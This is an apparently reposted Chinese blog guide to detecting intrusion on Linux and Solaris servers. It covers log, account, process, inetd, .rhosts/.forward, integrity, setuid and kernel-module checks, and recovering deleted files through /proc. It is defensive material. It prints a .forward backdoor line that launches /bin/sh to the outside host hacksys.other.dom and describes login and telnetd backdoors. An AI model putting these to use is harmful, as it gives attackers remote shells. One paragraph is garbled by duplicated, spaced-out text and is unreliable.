如何判断Linux服务器是否被入侵?

2023-11-18

1、如何判断自己的服务器是否被入侵

背景
随着开源产品的越来越盛行,作为一个Linux运维工程师,能够清晰地鉴别异常机器是否已经被入侵了显得至关重要,个人结合自己的工作经历,整理了几种常见的机器被黑情况仅供参考~

以下情况是在CentOS 6.9的系统中查看的,其它Linux发行版类似。

1.入侵者可能会删除机器的日志信息,可以查看日志信息是否还存在或者是否被清空,相关命令示例:
在这里插入图片描述
2.入侵者可能创建一个新的存放用户名及密码文件,可以查看/etc/passwd及/etc/shadow文件,相关命令示例:
在这里插入图片描述
3.入侵者可能修改用户名及密码文件,可以查看/etc/passwd及/etc/shadow文件内容进行鉴别,相关命令示例:
在这里插入图片描述
4.查看机器最近成功登陆的事件和最后一次不成功的登陆事件,对应日志“/var/log/lastlog”,相关命令示例:
在这里插入图片描述
5.查看机器当前登录的全部用户,对应日志文件“/var/run/utmp”,相关命令示例:
在这里插入图片描述
6.查看机器创建以来登陆过的用户,对应日志文件“/var/log/wtmp”,相关命令示例:
在这里插入图片描述
7.查看机器所有用户的连接时间(小时),对应日志文件“/var/log/wtmp”,相关命令示例:
在这里插入图片描述
8.如果发现机器产生了异常流量,可以使用命令“tcpdump”抓取网络包查看流量情况或者使用工具”iperf”查看流量情况。

9.可以查看/var/log/secure日志文件,尝试发现入侵者的信息,相关命令示例:
在这里插入图片描述
10.查询异常进程所对应的执行脚本文件

a.top命令查看异常进程对应的PID
在这里插入图片描述
b.在虚拟文件系统目录查找该进程的可执行文件
在这里插入图片描述
11.如果确认机器已经被入侵,重要文件已经被删除,可以尝试找回被删除的文件
Note:

参考Link:

http://www.cnblogs.com/ggjucheng/archive/2012/01/08/2316599.html

1>当进程打开了某个文件时,只要该进程保持打开该文件,即使将其删除,它依然存在于磁盘中。这意味着,进程并不知道文件已经被删除,它仍然可以向打开该文件时提供给它的文件描述符进行读取和写入。除了该进程之外,这个文件是不可见的,因为已经删除了其相应的目录索引节点。

2>在/proc 目录下,其中包含了反映内核和进程树的各种文件。/proc目录挂载的是在内存中所映射的一块区域,所以这些文件和目录并不存在于磁盘中,因此当我们对这些文件进行读取和写入时,实际上是在从内存中获取相关信息。大多数与 lsof 相关的信息都存储于以进程的 PID 命名的目录中,即 /proc/1234 中包含的是 PID 为 1234 的进程的信息。每个进程目录中存在着各种文件,它们可以使得应用程序简单地了解进程的内存空间、文件描述符列表、指向磁盘上的文件的符号链接和其他系统信息。lsof 程序使用该信息和其他关于内核内部状态的信息来产生其输出。所以lsof 可以显示进程的文件描述符和相关的文件名等信息。也就是我们通过访问进程的文件描述符可以找到该文件的相关信息。

3>当系统中的某个文件被意外地删除了,只要这个时候系统中还有进程正在访问该文件,那么我们就可以通过lsof从/proc目录下恢复该文件的内容。

假设入侵者将/var/log/secure文件删除掉了,尝试将/var/log/secure文件恢复的方法可以参考如下:

a.查看/var/log/secure文件,发现已经没有该文件
在这里插入图片描述
b.使用lsof命令查看当前是否有进程打开/var/log/secure
在这里插入图片描述
c.从上面的信息可以看到 PID 1264(rsyslogd)打开文件的文件描述符为4。同时还可以看到/var/log/ secure已经标记为被删除了。因此我们可以在/proc/1264/fd/4(fd下的每个以数字命名的文件表示进程对应的文件描述符)中查看相应的信息,如下:
在这里插入图片描述

d.从上面的信息可以看出,查看/proc/1264/fd/4就可以得到所要恢复的数据。如果可以通过文件描述符查看相应的数据,那么就可以使用I/O重定向将其重定向到文件中,如:
在这里插入图片描述
e.再次查看/var/log/secure,发现该文件已经存在。对于许多应用程序,尤其是日志文件和数据库,这种恢复删除文件的方法非常有用。
在这里插入图片描述

2、如何判断自己的服务器是否被入侵

如何判断自己的服务器是否被入侵了呢?仅仅靠两只手是不够的,但两只手也能起到一些作用,我们先来看看UNIX系统上一些入侵检测方法,以LINUX和solaris为例。

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
在这里插入图片描述
顺便再检查一下系统里有没有空口令帐户:
在这里插入图片描述

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:

ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东。
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} ; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print 
find / -name “.forward” –print 

在某用户的 H O M E 下 , . r h o s t s 文 件 中 仅 包 含 两 个 + 号 是 非 常 危 险 的 , 如 果 你 的 系 统 上 开 了 513 端 口 ( r l o g i n 端 口 , 和 t e l n e t 作 用 相 同 ) , 那 么 任 意 是 谁 都 可 以 用 这 个 用 户 登 录 到 你 的 系 统 上 而 不 需 要 任 何 验 证 。 U n i x 下 在 . f o r w a r d 文 件 里 放 入 命 令 是 重 新 获 得 访 问 的 常 用 方 法 在 某 一 用 户 HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。 Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户 HOME.rhosts+513rlogintelnetUnix.forward访HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh" 

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm’s filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward 

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward…BACKUP中。直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V rpm –qf 文件名 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。
另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

10、手工入侵检测的缺陷

上面谈了一些手工入侵检测的方法,但这些方式有一定的缺陷,有的甚至是不可避免的缺陷,这就是为什么说手工检测是“体力活”的原因。我们先来看看这些缺陷:
1)手工入侵检测只能基于主机,也就是说所有的入侵检测工作只能在操作系统下面完成,这是它固有的缺陷;基本上所有凌驾于操作系统之外的入侵行为统统无法探测得到。网络级的入侵,交换机、路由器上面的入侵和攻击行为,作为服务器的操作系统都无法得知;信息已经从主机发送出去了,如果在传送的介质当中被拦截,主机的操作系统是永远无动于衷的。
2)手工的入侵检测要求精通操作系统,并且漏洞库资料的刷新要快;在做一个网管的同时要做一个黑客。可以说经验的积累永远跟不上全世界漏洞资料的更新,难保系统不被新的漏洞所侵入。
3)手工入侵检测只是“就事论事”,根据发生的某一情况判断入侵事件,再作出相应的对应和防范措施,而无法预先根据入侵者的探测行为作出对攻击事件的描述,定义事件级别,在不防碍系统正常工作的情况下阻止下一步对系统的入侵行为。
4)可以通过手工入侵检测发现主机上的某些漏洞,进而作出相应的安全措施。但却避免不了一种现象:无法避免两个入侵者利用同一个漏洞攻击主机,即无法判断攻击模式来切断入侵行为。
5)综上所述,手工的入侵检测行为对于系统安全来说只是治标而不治本,多半还是依靠管理员的技巧和经验来增强系统的安全性,没有,也不可能形成真正的安全体系,虽然聊胜于无,可以检测和追踪到某些入侵行为,但如果碰上同样精通系统的入侵者就很难抓住踪迹了。
11、入侵检测系统的比较
搭建真正的安全体系需要入侵检测系统—IDS,一个优秀的入侵检测系统辅以系统管理员的技巧和经验可以形成真正的安全体系,有效判断和切断入侵行为,真正保护主机、资料。人们有时候会以为ISS的realsecure是优秀的入侵检测系统,其实不然,realsecure带有一定的缺陷,不谈它对事件的误报、漏报和错报,首先它是一个英文的软件,使用和熟悉起来有一定的难度。而且由于是外国人的软件,很多hack对realsecure有深入的研究,已经发掘出它的一些漏洞,甚至是固有漏洞,我就曾经测试出有的攻击手段可以令realsecure瘫痪。
再者,realsecure也是架设在服务器操作系统之上的,操作系统停止工作,同样令之停止工作,换句话说,很简单,攻击者攻击的目标往往就是realsecure本身。设想,假设你的系统依赖于入侵检测系统,而入侵检测系统被攻击者搞掉,那你的系统将大门敞开,任由出入,后果不堪设想。

参考链接 ;
如何判断自己的服务器是否被入侵 : https://mp.weixin.qq.com/s/d-v249oKxH7Twi5FIyN12g

作者:铭的随记
来源:http://www.cnblogs.com/stonehe/p/7562374.html

https://mp.weixin.qq.com/s/YQDrlfHxs4jlj6TOCfkFmA

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

如何判断Linux服务器是否被入侵? 的相关文章

  • Android 4.1 - 如何使用systrace做性能分析

    systrace是Android 4 1引入的一套用于做性能分析的工具 它基于Linux内核的ftrace机制 用于跟踪Linux内核的函数调用 可以输出各个线程当前的函数调用状态 并且可以跟当前CPU的线程运行状态 Display VSY
  • oracle 9i 手工建库,简单记录Oracle 9i数据库手工建库过程

    简单记录Oracle 9i数据库手工建库过程Oracle 9i手工建库 By Oracle老菜 今天客户要用oracle 9 2 0 5 aix 6 1已经不支持了 只好从别的数据库把软件拷贝过来重编译 但是建库只能用手工建库了 很久没有使

随机推荐

  • 如何找到计算机的网络凭据,输入网络凭据是什么(图文)

    导读 输入网络凭据是什么 下面就是191路由网整理的网络知识百科 来看看吧 大家好 我是191路由器网小编 上述问题将由我为大家讲解 以电脑为例 输入网络凭据就是为了访问网络资源存储在本机的账户和密码 当用户访问资源时 无须输入账户和密码就
  • 【error】DirectShowPlayerService::doSetUrlSource: Unresolved error code 0x80070002

    解决方案 Qt 中的多媒体播放 底层是使用DirectShowPlayerService 需要一个DirectShow解码器 例如LAV Filters LAV Filters的下载地址如下 http files 1f0 de lavf L
  • VMware下centos7开机登陆页面死循环问题详细解决

    一 问题描述 昨天安装东西 不了解捉瞎的时候在 etc profile下添加了几行export导入环境变量 结果重启虚拟机到用户登录页面 输入了正确的密码后还是出来的登陆页面 一直进不去 二 问题解决 查看博客发现大概率是更改 etc pr
  • linux中利用rsync实现文件增量同步

    inotify tools的安装和使用方法 使用inotify监控文件或目录变化 inotify是一种强大的 细粒度的 异步的文件系统事件监控机制 linux内核从 2 6 13 起 加入了inotify支持 通过inotify可以监控文件
  • Linux shell脚本中shift的用法说明

    Linux shell脚本中shift的用法说明 shift命令用于对参数的移动 左移 通常用于在不知道传入参数个数的情况下依次遍历每个参数然后进行相应处理 常见于Linux中各种程序的启动脚本 示例1 依次读取输入的参数并打印参数个数 r
  • Unity基础知识及一些基本API的使用

    Unity基础知识及一些基本API的使用 1 Unity界面介绍 Unity的默认Editor窗口主要呈现为以上布局 它们分别为 1 工具栏 工具栏提供最基本的工作功能 左侧的按钮用于访问 Unity Collaborate Unity 云
  • OC5228 100V多功能LED恒流驱动器-高辉调光 65536:1 调光比

    同脚位拼对拼替代智芯HI7001 磁吸灯 舞台灯电源方案新贵 概述 OC5228 是一款外围电路简单的多功能平均电流型LED 恒流驱动器 适用于5 100V 电压范围的降压BUCK 大功率调光恒流LED 领域 芯片PWM 端口支持超小占空比
  • React学习(懒加载)

    学习目标 提示 10分钟学会组件懒加载 1 路由懒加载 SPA应用中 为了优化首页加载和渲染性能 让路由页面组件按需访问加载 解决方案 路由懒加载 代码操作 编辑App jsx import App css 引入页面组件 import Lo
  • 太不可思议了,我的文章居然有人转载

    今天无意间逛Google 发现有人转载我的垃圾文章 简直不可思议 http www newbooks com cn info 50429 html 本来是写起耍的 算是整理加一点实际经验写成的 让我又高兴又惭愧 惭愧文章写的差 高兴我的文章
  • js遍历数组中的对象并拿到值

    拿到一组数组 数组中是对象 想拿到这个对象里面的某个值 可以参考以下例子 这样就拿到所有n1的值 想拿到这个对象里面所有对应的值如下 也可以这样取值 往数组里面push多个值 js中 用法 双叹号可以理解为将其强制类型转换为布尔值 例如 a
  • WebSocket协议深入理解

    1 WebSocket和HTTP的关系 WebSocket只有在建立握手连接的时候借用了HTTP协议的头 连接成功后的通信部分都是基于TCP的连接 总体来说 WebSocket协议是HTTP协议的升级版 2 研究WebSocket的思路 服
  • cortex-M3 异常-- SVC、PendSV介绍

    出处 http blog csdn net guozhongwei1 article details 49544671 问 ucos 任务切换时机 如何满足实时性 找上SVC PendSV啦 先了解下 以下出自 cortex M3权威指南
  • C语言中3种不同出错处理方式的优缺点

    这个是我在 数据结构习题集 上看到的一个习题 攒下来自己收藏 非原创 在程序设计中 常用下列三种不同的出错处理方式 1 用EXIT语句终止执行并报告错误 2 以函数的返回值区别正确返回或错误返回 3 设置一个函数变量的函数参数以区别正确返回
  • 移动开发!如何快速的开发一个完整的直播app,架构师必备技能

    金九银十过后各大网络平台都是各种面经分享 包括已收offer 或面试失败的都有 相信大部分人都拿到了自己心仪的大厂offer 不过也有没有少数没能进到自己内心向往的大厂而懊恼的 那么到底如何才能进大厂 该准备些什么才能进大厂 此时字节总监有
  • 有些so文件没有导入到lib目录问题解决

    在使用第三方sdk或者第三方库时 经常在libs目录下 会有一些so文件 比如高德地图的3Ddemo 就包含两个含有so文件的目录 而有的第三方不止两个目录的so文件 正常是这样子的 有多个文件目录的 但是 如果有的sdk只有两个关于so文
  • 给定一个数字范围,求一个数出现的次数

    题目 输入 29 33 3 输出 5 3出现5次 import sys def find lis start lis 0 end lis 1 m lis 2 n 0 for i in range start end 1 j i while
  • 前端单元测试03之Sion

    前端单元测试03之Sion 前端测试存在的问题 在讲Sinon之前 我们得先讲一下在学习了Mocha chai以及enzyme之后 我们的前端测试还存在的一些问题 比如前台测试需要与后台交互 获取后台数据后再根据相应数据进行测试 又比如一个
  • 关于微信小程序使用JavaScript实现检索算法

    检索算法 拟解决生活中最常见的问题之一 检索问题 查找问题 wxml wxss js 拟解决生活中最常见的问题之一 检索问题 查找问题 该问题要求在一个列表中查找某个具体元素是否出现 若出现 返回具体元素在数组中的位置 否则返回 1 根据列
  • 论文翻译(11) — livox_camera_calib标定论文

    目录 1 引言 2 原理 A 概述 B 边缘提取和匹配 C 外部标定 D 对标定结果上边缘分布的分析 E 初始化和粗略标定 论文链接 https arxiv org pdf 2103 01627v2 pdf 源码链接 https githu
  • 如何判断Linux服务器是否被入侵?

    1 如何判断自己的服务器是否被入侵 背景 随着开源产品的越来越盛行 作为一个Linux运维工程师 能够清晰地鉴别异常机器是否已经被入侵了显得至关重要 个人结合自己的工作经历 整理了几种常见的机器被黑情况仅供参考 以下情况是在CentOS 6